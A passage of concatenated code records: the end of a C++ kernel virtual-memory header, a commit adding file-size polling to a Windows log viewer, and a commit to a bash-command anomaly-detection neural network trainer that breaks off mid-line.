compression.\n NEW_DELETE_OPS(vmdesc)\n\nprivate:\n vmdesc(u64 flags)\n : flags(flags), page(), inode(), start() { }\n};\n\nvoid to_stream(class print_stream *s, const vmdesc &vmd);\n\n\/\/ An address space. This manages the mapping from virtual addresses\n\/\/ to virtual memory descriptors.\nstruct vmap {\n struct radix vmas;\n\n static vmap* alloc();\n\n atomic<u64> ref;\n char *const kshared;\n\n void decref();\n void incref();\n\n \/\/ Copy this vmap's structure and share pages copy-on-write.\n vmap* copy(proc_pgmap* pgmap);\n\n \/\/ Map desc from virtual addresses start to start+len.\n long insert(const vmdesc &desc, uptr start, uptr len, proc_pgmap* pgmap,\n bool dotlb = true);\n\n \/\/ Unmap from virtual addresses start to start+len.\n int remove(uptr start, uptr len, proc_pgmap* pgmap);\n\n int pagefault(uptr va, u32 err, proc_pgmap* pgmap);\n\n \/\/ Map virtual address va in this address space to a kernel virtual\n \/\/ address, performing the equivalent of a read page fault if\n \/\/ necessary. Returns nullptr if va is not mapped. Needless to\n \/\/ say, this mapping is only valid within the returned page.\n void* pagelookup(uptr va);\n\n \/\/ Copy len bytes from p to user address va in vmap. Most useful\n \/\/ when vmap is not the current page table.\n int copyout(uptr va, void *p, u64 len);\n int sbrk(ssize_t n, uptr *addr);\n\n void add_pgmap(proc_pgmap* pgmap);\n void rem_pgmap(proc_pgmap* pgmap);\n\n \/\/ Print this vmap to the console\n void dump();\n\n uptr brk_; \/\/ Top of heap\n\nprivate:\n vmap();\n vmap(const vmap&);\n vmap& operator=(const vmap&);\n ~vmap();\n NEW_DELETE_OPS(vmap)\n uptr unmapped_area(size_t n);\n\n \/\/ Virtual page frames\n typedef radix_array<vmdesc, USERTOP \/ PGSIZE, PGSIZE,\n kalloc_allocator<vmdesc> > vpf_array;\n vpf_array vpfs_;\n\n struct spinlock brklock_;\n\n enum class access_type\n {\n READ, WRITE\n };\n\n \/\/ Ensure there is a backing page at @c it. The caller is\n \/\/ responsible for ensuring that there is a mapping at @c it and for\n \/\/ locking vpfs_ at @c it. This throws bad_alloc if a page must be\n \/\/ allocated and cannot be.\n page_info *ensure_page(const vpf_array::iterator &it, access_type type);\n\n \/\/ XXX(sbw) most likely an awful hash function\n static u64 proc_pgmap_hash(proc_pgmap* const & p)\n {\n return (u64) p;\n }\n xns<proc_pgmap*, proc_pgmap*, proc_pgmap_hash> pgmap_list_;\n};\n<|endoftext|>"} {"text":"<commit_before>#include \"stdafx.h\"\n#include \"LogQueryImpl.h\"\n#include \"LogItem.h\"\n#include \"LogQueryResult.h\"\n#include \"FilterParser.h\"\n#include \"PatternServiceImpl.h\"\n\nusing namespace mrl::utility;\n\nLogQueryImpl::LogQueryImpl()\n\t: taskWnd(new SimpleTaskMessageWindow())\n\t, monitorThread(NULL)\n\t, monitoring(false) {\n}\n\nLogQueryImpl::~LogQueryImpl() {\n\tif (monitoring && monitorThread) {\n\t\tmonitoring = false;\n\t\tmonitorThread->join();\n\t\tdelete monitorThread;\n\t}\n\treset();\n\n\tdelete taskWnd;\n}\n\nbool LogQueryImpl::load(const tstring& filePath) {\n\tthis->filePath = filePath;\n\tstartMonitor();\n\treturn true;\n}\n\nconst tstring& LogQueryImpl::getFilePath() const {\n\treturn filePath;\n}\n\nvoid LogQueryImpl::setSelected(const LogItem* item) {\n\tfor (unsigned j = 0; j < logItems.size(); j++) {\n\t\tLogItem* p = logItems[j];\n\t\tp->selected = (item == p);\n\t}\n\tnotifyGeneralDataChanged();\n}\n\nLogItem* LogQueryImpl::getSelected() const {\n\tauto i = find_if(logItems.begin(), logItems.end(), [] (LogItem* p) {\n\t\treturn p->selected;\n\t});\n\tif (i != logItems.end()) {\n\t\treturn *i;\n\t} else {\n\t\treturn NULL;\n\t}\n}\n\nLogQueryResult* LogQueryImpl::query(const tstring& criteria, bool quiet) {\n\tLogQueryResult* cachedResult = queryCache[criteria];\n\tif (!cachedResult) {\n\t\tcachedResult = queryImpl(criteria);\n\t\tif (cachedResult) {\n\t\t\tqueryCache[criteria] = cachedResult;\n\t\t}\n\t}\n\tif (!quiet) notifyQueryResultChanged(criteria, cachedResult);\n\treturn cachedResult;\n}\n\nLogQueryResult* LogQueryImpl::queryImpl(const tstring& criteria) {\n\/\/ UNDONE: 把parser改为tstring兼容\n#ifdef _UNICODE\n\tstring filter = mrl::utility::codeconv::unicodeToAscii(criteria);\n#else\n\tstring filter& = criteria;\n#endif\n\ttry {\n\t\tFilterParser parser;\n\t\tparser.compile(filter);\n\n\t\tvector<LogItem*> queryResult;\n\t\tfor (auto i = logItems.begin(); i != logItems.end(); i++) {\n\t\t\tLogItem* item = *i;\n#ifdef _UNICODE\n\t\t\tstring line = mrl::utility::codeconv::unicodeToAscii(item->text);\n#else\n\t\t\tstring line& = item->text;\n#endif\n\t\t\tif (parser.rootNode()->match(line)) {\n\t\t\t\tqueryResult.push_back(item);\n\t\t\t}\n\t\t}\n\t\treturn new LogQueryResult(queryResult);\n\t} catch (...) {\n\t\treturn nullptr;\n\t}\n}\n\nvoid LogQueryImpl::startMonitor() {\n\tmonitorThread = new boost::thread(([this] () {\n\t\tmonitoring = true;\n\t\twhile (monitoring) {\n\t\t\t\/\/ UNDONE: 优化\n\t\t\t::Sleep(500);\n\t\t\tvector<LogItem*> logItems;\n\t\t\tloadFile(logItems);\n\t\t\t\/\/ UNDONE: 简单比较\n\t\t\tif (this->logItems.size() != logItems.size()) {\n\t\t\t\tDEBUG_INFO(_T(\"监测到文件变化\"));\n\t\t\t\tLogQueryImpl* that = this;\n\t\t\t\ttaskWnd->post(new SimpleTask([that, logItems] () {\n\t\t\t\t\tthat->reset(logItems);\n\t\t\t\t}))->wait();\n\t\t\t} else {\n\t\t\t\tfor_each(logItems.begin(), logItems.end(), [] (LogItem* p) {\n\t\t\t\t\tdelete p;\n\t\t\t\t});\n\t\t\t}\n\t\t} \/\/ while monitoring\n\t\tDEBUG_INFO(_T(\"监控线程退出!\"));\n\t}));\n}\n\nvoid LogQueryImpl::reset(const vector<LogItem*>& logItems) {\n\tfor_each(this->logItems.begin(), this->logItems.end(), [] (LogItem* p) {\n\t\tdelete p;\n\t});\n\tthis->logItems = logItems;\n\n\tfor_each(this->queryCache.begin(), this->queryCache.end(), [] (const pair<tstring, LogQueryResult*>& p) {\n\t\tdelete p.second;\n\t});\n\tqueryCache.clear();\n\n\tnotifyFileChanged();\n}\n\nvoid LogQueryImpl::reset() {\n\treset(vector<LogItem*>());\n}\n\nvoid LogQueryImpl::loadFile(vector<LogItem*>& logItems) {\n\tHANDLE file = ::CreateFile(filePath.c_str(), GENERIC_READ, FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,\n\t NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n\tif (file != INVALID_HANDLE_VALUE) {\n\t\tDWORD fileSize = ::GetFileSize(file, NULL);\n\t\tchar* buffer = new char[fileSize + 1];\n\t\tDWORD readSize = 0;\n\t\t\/\/ 从头重新读取文件\n\t\t::SetFilePointer(file, 0, NULL, FILE_BEGIN);\n\t\tif (::ReadFile(file, buffer, fileSize + 1, &readSize, NULL)) {\n\t\t\tbuffer[readSize] = 0;\n\t\t\tistringstream iss(buffer);\n\n\t\t\tstring line;\n\t\t\tunsigned lineNum = 0;\n\t\t\twhile (iss.good()) {\n\t\t\t\tstd::getline(iss, line);\n\t\t\t\tLogItem* item = new LogItem();\n\t\t\t\titem->line = lineNum++;\n#ifdef _UNICODE\n\t\t\t\titem->text = mrl::utility::codeconv::asciiToUnicode(line);\n#else\n\t\t\t\titem->text = line;\n#endif\n\t\t\t\titem->selected = false;\n\t\t\t\tlogItems.push_back(item);\n\t\t\t}\n\t\t}\n\t\tdelete[] buffer;\n\t\t::CloseHandle(file);\n\t}\n}<commit_msg>使用GetFileSize大幅提升监控性能<commit_after>#include \"stdafx.h\"\n#include \"LogQueryImpl.h\"\n#include \"LogItem.h\"\n#include \"LogQueryResult.h\"\n#include \"FilterParser.h\"\n#include \"PatternServiceImpl.h\"\n\nusing namespace mrl::utility;\n\nLogQueryImpl::LogQueryImpl()\n\t: taskWnd(new SimpleTaskMessageWindow())\n\t, monitorThread(NULL)\n\t, monitoring(false) {\n}\n\nLogQueryImpl::~LogQueryImpl() {\n\tif (monitoring && monitorThread) {\n\t\tmonitoring = false;\n\t\tmonitorThread->join();\n\t\tdelete monitorThread;\n\t}\n\treset();\n\n\tdelete taskWnd;\n}\n\nbool LogQueryImpl::load(const tstring& filePath) {\n\tthis->filePath = filePath;\n\tstartMonitor();\n\treturn true;\n}\n\nconst tstring& LogQueryImpl::getFilePath() const {\n\treturn filePath;\n}\n\nvoid LogQueryImpl::setSelected(const LogItem* item) {\n\tfor (unsigned j = 0; j < logItems.size(); j++) {\n\t\tLogItem* p = logItems[j];\n\t\tp->selected = (item == p);\n\t}\n\tnotifyGeneralDataChanged();\n}\n\nLogItem* LogQueryImpl::getSelected() const {\n\tauto i = find_if(logItems.begin(), logItems.end(), [] (LogItem* p) {\n\t\treturn p->selected;\n\t});\n\tif (i != logItems.end()) {\n\t\treturn *i;\n\t} else {\n\t\treturn NULL;\n\t}\n}\n\nLogQueryResult* LogQueryImpl::query(const tstring& criteria, bool quiet) {\n\tLogQueryResult* cachedResult = queryCache[criteria];\n\tif (!cachedResult) {\n\t\tcachedResult = queryImpl(criteria);\n\t\tif (cachedResult) {\n\t\t\tqueryCache[criteria] = cachedResult;\n\t\t}\n\t}\n\tif (!quiet) notifyQueryResultChanged(criteria, cachedResult);\n\treturn cachedResult;\n}\n\nLogQueryResult* LogQueryImpl::queryImpl(const tstring& criteria) {\n\/\/ UNDONE: 把parser改为tstring兼容\n#ifdef _UNICODE\n\tstring filter = mrl::utility::codeconv::unicodeToAscii(criteria);\n#else\n\tstring filter& = criteria;\n#endif\n\ttry {\n\t\tFilterParser parser;\n\t\tparser.compile(filter);\n\n\t\tvector<LogItem*> queryResult;\n\t\tfor (auto i = logItems.begin(); i != logItems.end(); i++) {\n\t\t\tLogItem* item = *i;\n#ifdef _UNICODE\n\t\t\tstring line = mrl::utility::codeconv::unicodeToAscii(item->text);\n#else\n\t\t\tstring line& = item->text;\n#endif\n\t\t\tif (parser.rootNode()->match(line)) {\n\t\t\t\tqueryResult.push_back(item);\n\t\t\t}\n\t\t}\n\t\treturn new LogQueryResult(queryResult);\n\t} catch (...) {\n\t\treturn nullptr;\n\t}\n}\n\nunsigned getFileSize(const tstring& filePath) {\n\tHANDLE file = ::CreateFile(filePath.c_str(), GENERIC_READ, FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,\n\t\tNULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n\tDWORD ret = ::GetFileSize(file, NULL);\n\t::CloseHandle(file);\n\treturn ret;\n}\n\nvoid LogQueryImpl::startMonitor() {\n\tmonitorThread = new boost::thread(([this] () {\n\t\tmonitoring = true;\n\t\tunsigned lastSize = 0;\n\t\twhile (monitoring) {\n\t\t\t\/\/ UNDONE: 优化\n\t\t\t::Sleep(500);\n\t\t\tunsigned size = getFileSize(filePath);\n\t\t\tif (size == lastSize) continue;\n\t\t\tlastSize = size;\n\n\t\t\tvector<LogItem*> logItems;\n\t\t\tloadFile(logItems);\n\t\t\t\/\/ UNDONE: 简单比较\n\t\t\tif (this->logItems.size() != logItems.size()) {\n\t\t\t\tDEBUG_INFO(_T(\"监测到文件变化\"));\n\t\t\t\tLogQueryImpl* that = this;\n\t\t\t\ttaskWnd->post(new SimpleTask([that, logItems] () {\n\t\t\t\t\tthat->reset(logItems);\n\t\t\t\t}))->wait();\n\t\t\t} else {\n\t\t\t\tfor_each(logItems.begin(), logItems.end(), [] (LogItem* p) {\n\t\t\t\t\tdelete p;\n\t\t\t\t});\n\t\t\t}\n\t\t} \/\/ while monitoring\n\t\tDEBUG_INFO(_T(\"监控线程退出!\"));\n\t}));\n}\n\nvoid LogQueryImpl::reset(const vector<LogItem*>& logItems) {\n\tfor_each(this->logItems.begin(), this->logItems.end(), [] (LogItem* p) {\n\t\tdelete p;\n\t});\n\tthis->logItems = logItems;\n\n\tfor_each(this->queryCache.begin(), this->queryCache.end(), [] (const pair<tstring, LogQueryResult*>& p) {\n\t\tdelete p.second;\n\t});\n\tqueryCache.clear();\n\n\tnotifyFileChanged();\n}\n\nvoid LogQueryImpl::reset() {\n\treset(vector<LogItem*>());\n}\n\nvoid LogQueryImpl::loadFile(vector<LogItem*>& logItems) {\n\tHANDLE file = ::CreateFile(filePath.c_str(), GENERIC_READ, FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,\n\t NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n\tif (file != INVALID_HANDLE_VALUE) {\n\t\tDWORD fileSize = ::GetFileSize(file, NULL);\n\t\tchar* buffer = new char[fileSize + 1];\n\t\tDWORD readSize = 0;\n\t\t\/\/ 从头重新读取文件\n\t\t::SetFilePointer(file, 0, NULL, FILE_BEGIN);\n\t\tif (::ReadFile(file, buffer, fileSize + 1, &readSize, NULL)) {\n\t\t\tbuffer[readSize] = 0;\n\t\t\tistringstream iss(buffer);\n\n\t\t\tstring line;\n\t\t\tunsigned lineNum = 0;\n\t\t\twhile (iss.good()) {\n\t\t\t\tstd::getline(iss, line);\n\t\t\t\tLogItem* item = new LogItem();\n\t\t\t\titem->line = lineNum++;\n#ifdef _UNICODE\n\t\t\t\titem->text = mrl::utility::codeconv::asciiToUnicode(line);\n#else\n\t\t\t\titem->text = line;\n#endif\n\t\t\t\titem->selected = false;\n\t\t\t\tlogItems.push_back(item);\n\t\t\t}\n\t\t}\n\t\tdelete[] buffer;\n\t\t::CloseHandle(file);\n\t}\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2016 Adam Chyła, adam@chyla.org\n * All rights reserved. Distributed under the terms of the MIT License.\n *\/\n\n#include \"network_trainer.h\"\n\n#include <patlms\/util\/run_partially.h>\n\n#include <algorithm>\n#include <vector>\n#include <fstream>\n#include <boost\/log\/trivial.hpp>\n\n#include \"src\/bash\/analyzer\/detail\/command_summary_divider\/command_summary_divider.h\"\n#include \"src\/library\/fann\/fann_wrapper.h\"\n#include \"src\/library\/fann\/fann_guard.h\"\n\nnamespace bash\n{\n\nnamespace analyzer\n{\n\nnamespace detail\n{\n\nnamespace network_trainer\n{\n\nNetworkTrainerPtr NetworkTrainer::Create(::bash::database::detail::DatabaseFunctionsInterfacePtr database_functions,\n ::database::detail::GeneralDatabaseFunctionsInterfacePtr general_database_functions,\n const std::string &neural_network_data_directory) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::Create: Function call\";\n\n auto fann_wrapper = ::library::fann::FannWrapper::Create();\n\n return Create(database_functions, general_database_functions, neural_network_data_directory, fann_wrapper);\n}\n\nNetworkTrainerPtr NetworkTrainer::Create(::bash::database::detail::DatabaseFunctionsInterfacePtr database_functions,\n ::database::detail::GeneralDatabaseFunctionsInterfacePtr general_database_functions,\n const std::string &neural_network_data_directory,\n ::library::fann::detail::FannWrapperInterfacePtr fann_wrapper) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::Create: Function call\";\n\n return NetworkTrainerPtr(new NetworkTrainer(database_functions, general_database_functions, neural_network_data_directory, fann_wrapper));\n}\n\nvoid NetworkTrainer::Train() {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::Train: Function call\";\n\n auto configurations = database_functions_->GetAnomalyDetectionConfigurations();\n\n for (const auto &c : configurations) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::Train: Is configuration changed for agent \" << c.agent_name_id << \"?: \" << c.changed;\n\n if (c.changed) {\n CreateLearningSetFile(c);\n CreateNetworkConfiguration(c);\n }\n }\n}\n\nNetworkTrainer::NetworkTrainer(::bash::database::detail::DatabaseFunctionsInterfacePtr database_functions,\n ::database::detail::GeneralDatabaseFunctionsInterfacePtr general_database_functions,\n const std::string &neural_network_data_directory,\n ::library::fann::detail::FannWrapperInterfacePtr fann_wrapper) :\ndatabase_functions_(database_functions),\ngeneral_database_functions_(general_database_functions),\nneural_network_data_directory_(neural_network_data_directory),\nfann_wrapper_(fann_wrapper) {\n}\n\nvoid NetworkTrainer::CreateLearningSetFile(const ::bash::database::type::AnomalyDetectionConfiguration &configuration) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Function call\";\n\n auto users = database_functions_->GetUsersIdsFromSelectedDailyStatisticsInConfiguration(configuration.id);\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Found \" << users.size() << \" users\";\n\n constexpr::database::type::RowsCount MAX_ROWS_IN_MEMORY = 100;\n constexpr unsigned int number_of_inputs = 100;\n unsigned int number_of_outputs = users.size();\n long long learning_set_size = database_functions_->CountSelectedDailyStatisticsWithoutUnknownClassificationInConfiguration(configuration.id);\n std::string file_path = neural_network_data_directory_ + \"\/training-\" + std::to_string(configuration.id) + \".data\";\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Number of inputs: \" << number_of_inputs;\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Number of outputs: \" << number_of_outputs;\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Learning set size: \" << learning_set_size;\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Training file path: \" << file_path;\n\n std::vector<double> input;\n input.resize(number_of_inputs, 0);\n\n std::vector<int> output;\n output.resize(number_of_outputs, -1);\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Opening training file\";\n std::fstream file(file_path.c_str(), std::ios::out | std::ios::trunc);\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Writing training data\";\n file << learning_set_size << ' ' << number_of_inputs << ' ' << number_of_outputs << '\\n';\n\n auto selected_commands_ids = database_functions_->GetMarkedCommandsIds(configuration.id);\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Found \" << selected_commands_ids.size() << \" selected commands ids\";\n\n for (const auto &id : selected_commands_ids)\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: id: \" << id;\n\n command_summary_divider::CommandSummaryDivider divider;\n unsigned selected_commands_position = 0;\n unsigned commands_statistics_position = 0;\n int user_output_position = 0;\n for (const auto &user_id : users) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Writing data for user id (from database) \" << user_id;\n\n auto daily_user_statistics_count = database_functions_->CountSelectedDailyUserStatisticsWithoutUnknownClassificationFromConfigurationByUser(configuration.id, user_id);\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Found \" << daily_user_statistics_count << \" daily user statistics\";\n\n util::RunPartially(MAX_ROWS_IN_MEMORY, daily_user_statistics_count, [&](long long part_count, long long offset) {\n auto daily_user_statistics = database_functions_->GetSelectedDailyUserStatisticsWithoutUnknownClassificationFromConfigurationByUser(configuration.id, user_id, part_count, offset);\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Found \" << daily_user_statistics.size() << \" statistics in part\";\n\n for (const auto &statistic : daily_user_statistics) {\n std::fill(input.begin(), input.end(), 0);\n\n auto commands_statistics = database_functions_->GetSelectedDailyUserCommandsStatistics(statistic.id);\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Found \" << commands_statistics.size() << \" selected daily user commands statistics with statistic id \" << statistic.id;\n\n selected_commands_position = 0;\n commands_statistics_position = 0;\n while (selected_commands_position < selected_commands_ids.size()\n && commands_statistics_position < commands_statistics.size()) {\n const auto &command_statistic = commands_statistics.at(commands_statistics_position);\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Position \" << selected_commands_position;\n\n if (command_statistic.command_id == selected_commands_ids.at(selected_commands_position)) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Found command with id \" << command_statistic.command_id;\n\n input.at(selected_commands_position) = command_statistic.summary;\n commands_statistics_position++;\n }\n\n selected_commands_position++;\n }\n\n std::transform(input.begin(), input.end(), input.begin(), divider);\n\n if (statistic.classification == ::database::type::Classification::ANOMALY)\n output.at(user_output_position) = -1;\n else if (statistic.classification == ::database::type::Classification::NORMAL)\n output.at(user_output_position) = 1;\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Classification set: \" << output.at(user_output_position);\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Saving to file\";\n\n for (const auto &v : input)\n file << v << \" \";\n file << '\\n';\n\n for (const auto &v : output)\n file << v << \" \";\n file << '\\n';\n }\n });\n\n output.at(user_output_position) = -1;\n user_output_position++;\n }\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Closing training file\";\n file.close();\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Done\";\n}\n\nvoid NetworkTrainer::CreateNetworkConfiguration(const ::bash::database::type::AnomalyDetectionConfiguration &configuration) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateNetworkConfiguration: Done\";\n\n auto users = database_functions_->GetUsersIdsFromSelectedDailyStatisticsInConfiguration(configuration.id);\n\n constexpr::database::type::RowsCount MAX_ROWS_IN_MEMORY = 100;\n constexpr unsigned int number_of_inputs = 100;\n constexpr unsigned int number_of_layers = 3;\n constexpr unsigned int number_of_hidden_neurons = 3;\n const unsigned int number_of_outputs = users.size();\n constexpr float desired_error = 0.001f;\n constexpr unsigned int max_epochs = 100;\n constexpr unsigned int epochs_between_reports = max_epochs;\n\n const std::string file_path = neural_network_data_directory_ + \"\/training-\" + std::to_string(configuration.id) + \".data\";\n const std::string network_configuration_file_path = neural_network_data_directory_ + \"\/network-\" + std::to_string(configuration.id) + \".data\";\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateNetworkConfiguration: Creating network\";\n\n struct fann *ann = fann_wrapper_->CreateStandard(number_of_layers, number_of_inputs, number_of_hidden_neurons, number_of_outputs);\n ::library::fann::FannGuard fann_guard(ann);\n\n fann_wrapper_->SetActivationFunctionHidden(ann, FANN_SIGMOID);\n fann_wrapper_->SetActivationFunctionOutput(ann, FANN_SIGMOID);\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateNetworkConfiguration: Training network\";\n fann_wrapper_->TrainOnFile(ann, file_path, max_epochs, epochs_between_reports, desired_error);\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateNetworkConfiguration: Saving network to file: \" << network_configuration_file_path;\n fann_wrapper_->Save(ann, network_configuration_file_path);\n}\n\n}\n\n}\n\n}\n\n}\n<commit_msg>Mark configuration as unchanged<commit_after>\/*\n * Copyright 2016 Adam Chyła, adam@chyla.org\n * All rights reserved. Distributed under the terms of the MIT License.\n *\/\n\n#include \"network_trainer.h\"\n\n#include <patlms\/util\/run_partially.h>\n\n#include <algorithm>\n#include <vector>\n#include <fstream>\n#include <boost\/log\/trivial.hpp>\n\n#include \"src\/bash\/analyzer\/detail\/command_summary_divider\/command_summary_divider.h\"\n#include \"src\/library\/fann\/fann_wrapper.h\"\n#include \"src\/library\/fann\/fann_guard.h\"\n\nnamespace bash\n{\n\nnamespace analyzer\n{\n\nnamespace detail\n{\n\nnamespace network_trainer\n{\n\nNetworkTrainerPtr NetworkTrainer::Create(::bash::database::detail::DatabaseFunctionsInterfacePtr database_functions,\n ::database::detail::GeneralDatabaseFunctionsInterfacePtr general_database_functions,\n const std::string &neural_network_data_directory) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::Create: Function call\";\n\n auto fann_wrapper = ::library::fann::FannWrapper::Create();\n\n return Create(database_functions, general_database_functions, neural_network_data_directory, fann_wrapper);\n}\n\nNetworkTrainerPtr NetworkTrainer::Create(::bash::database::detail::DatabaseFunctionsInterfacePtr database_functions,\n ::database::detail::GeneralDatabaseFunctionsInterfacePtr general_database_functions,\n const std::string &neural_network_data_directory,\n ::library::fann::detail::FannWrapperInterfacePtr fann_wrapper) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::Create: Function call\";\n\n return NetworkTrainerPtr(new NetworkTrainer(database_functions, general_database_functions, neural_network_data_directory, fann_wrapper));\n}\n\nvoid NetworkTrainer::Train() {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::Train: Function call\";\n\n auto configurations = database_functions_->GetAnomalyDetectionConfigurations();\n\n for (const auto &c : configurations) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::Train: Is configuration changed for agent \" << c.agent_name_id << \"?: \" << c.changed;\n\n if (c.changed) {\n CreateLearningSetFile(c);\n CreateNetworkConfiguration(c);\n database_functions_->MarkConfigurationAsUnchanged(c.id);\n }\n }\n}\n\nNetworkTrainer::NetworkTrainer(::bash::database::detail::DatabaseFunctionsInterfacePtr database_functions,\n ::database::detail::GeneralDatabaseFunctionsInterfacePtr general_database_functions,\n const std::string &neural_network_data_directory,\n ::library::fann::detail::FannWrapperInterfacePtr fann_wrapper) :\ndatabase_functions_(database_functions),\ngeneral_database_functions_(general_database_functions),\nneural_network_data_directory_(neural_network_data_directory),\nfann_wrapper_(fann_wrapper) {\n}\n\nvoid NetworkTrainer::CreateLearningSetFile(const ::bash::database::type::AnomalyDetectionConfiguration &configuration) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Function call\";\n\n auto users = database_functions_->GetUsersIdsFromSelectedDailyStatisticsInConfiguration(configuration.id);\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Found \" << users.size() << \" users\";\n\n constexpr::database::type::RowsCount MAX_ROWS_IN_MEMORY = 100;\n constexpr unsigned int number_of_inputs = 100;\n unsigned int number_of_outputs = users.size();\n long long learning_set_size = database_functions_->CountSelectedDailyStatisticsWithoutUnknownClassificationInConfiguration(configuration.id);\n std::string file_path = neural_network_data_directory_ + \"\/training-\" + std::to_string(configuration.id) + \".data\";\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Number of inputs: \" << number_of_inputs;\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Number of outputs: \" << number_of_outputs;\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Learning set size: \" << learning_set_size;\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Training file path: \" << file_path;\n\n std::vector<double> input;\n input.resize(number_of_inputs, 0);\n\n std::vector<int> output;\n output.resize(number_of_outputs, -1);\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Opening training file\";\n std::fstream file(file_path.c_str(), std::ios::out | std::ios::trunc);\n\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Writing training data\";\n file << learning_set_size << ' ' << number_of_inputs << ' ' << number_of_outputs << '\\n';\n\n auto selected_commands_ids = database_functions_->GetMarkedCommandsIds(configuration.id);\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Found \" << selected_commands_ids.size() << \" selected commands ids\";\n\n for (const auto &id : selected_commands_ids)\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: id: \" << id;\n\n command_summary_divider::CommandSummaryDivider divider;\n unsigned selected_commands_position = 0;\n unsigned commands_statistics_position = 0;\n int user_output_position = 0;\n for (const auto &user_id : users) {\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Writing data for user id (from database) \" << user_id;\n\n auto daily_user_statistics_count = database_functions_->CountSelectedDailyUserStatisticsWithoutUnknownClassificationFromConfigurationByUser(configuration.id, user_id);\n BOOST_LOG_TRIVIAL(debug) << \"bash::analyzer::detail::network_trainer::NetworkTrainer::CreateLearningSetFile: Found \" << 